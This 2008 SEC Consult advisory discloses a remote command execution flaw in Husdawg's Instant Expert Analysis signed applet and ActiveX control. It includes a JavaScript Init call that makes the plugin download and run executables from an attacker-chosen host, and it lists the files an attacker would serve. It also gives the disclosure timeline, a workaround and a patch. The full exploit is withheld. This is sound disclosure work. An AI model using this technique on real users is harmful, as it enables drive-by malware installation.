Remote command execution in Instant Expert

SEC Consult Security Advisory < 20081016-0 >

========================================================================

title: Remote command execution in Instant Expert

Analysis signed Java applet and signed ActiveX

control

program: Instant Expert Analysis

vendor: Husdawg, LLC

impact: Critical

homepage: www.systemrequirementslab.com

found: 2008-04-19

by: David Matscheko / SEC Consult / www.sec-consult.com

========================================================================

 

Vendor description:

-------------------

 

Instant Expert Analysis is a patent-pending technology that allows

websites to have a one-click method for rapidly analyzing a users

hardware and software. The results are then instantaneously compared

to a comprehensive database of requirements.

 

Instant Expert Analysis has been proven effective by millions of

users on sites run by NVIDIA, Activision, Electronic Arts UK, Eidos,

CNET, IGN, and AMD.

 

[source: www.husdawg.com/systemrequirementslab/Home2.html]

 

 

Vulnerability overview:

-----------------------

 

Instant Expert Analysis uses a signed Java applet for Firefox or

Netscape browsers and a signed ActiveX plugin for Internet Explorer.

Both applets allow an attacker to download and execute arbitrary

applications when the user visits an infected website.

 

If the user already accepted the applet on a valid site, no user

interaction is needed to perform this attack! Because the applets

are signed by a trustet source, the browsers default behavior is to

ask only the first time.

 

 

Vulnerability description:

--------------------------

 

The init method of the sysreqlab2.jar or the sysreqlab2.cab can be

called like the following example (from the Javascript):

document.SysReqLab.Init("http://www.example.com", "abc");

 

The applet then downloads and executes a dll file from

www.systemrequirementslab.com.

 

The dll file loads a setup_abc.exe, a setup_mz_abc.exe, or a

setup_ie_abc.exe from the location that has been stated in the init

method (e.g. the attackers website) and executes it.

 

 

Proof of concept:

-----------------

 

The attacker can serve the following files from any host:

setup_abc.exe

setup_ie_abc.exe

setup_mz_abc.exe

sysreqlab2.cab

sysreqlab2.jar

exploit.html

 

The setup_*.exe files are the trojan applications.

 

== The full proof of concept has been removed from the public version of

this advisory. ==

 

 

Vulnerable versions:

--------------------

 

No version information could be found for the affected files.

 

 

Vendor contact timeline:

------------------------

 

2008-05-08: Vulnerability information sent to vendor

(jhussey@husdawg.com)

2008-06-20: We got informed that the main component has been updated,

and a kill bit process has been initialized with Microsoft.

2008-08-13: Received E-Mail from vendor that a case has been opened by

Microsoft.

2008-10-13: SEC Consult requests an update from Husdawg on how

the killbit process is going and informs Husdawg that a

public advisory will be released on October 20th 2008.

2008-10-14: An US CERT vulnerability note is released, crediting Andre

Protas of eEye Digital Security and Greg Linares. SEC

Consult has not been prenotified about the release and has

not been credited by the vendor or other parties involved.

 

 

Workaround:

-----------

 

Block the ActiveX plugin from "Husdawg, LLC" and don't run it.

 

Remove the Certificate of the Java applet from "Husdawg, LLC" from

Control Panel / Java / Security / Certificates / Trusted Certificates

and don't allow the applet to run.

 

Patch:

------

 

An update is available from the vendor:

 

www.systemrequirementslab.com/bulletins/security_bulletin_1.html

 

Additionally, the killbit for the affected ActiveX component has been

set by Microsoft:

 

www.microsoft.com/technet/security/advisory/956391.mspx

 

 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

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EOF David Matscheko / @2008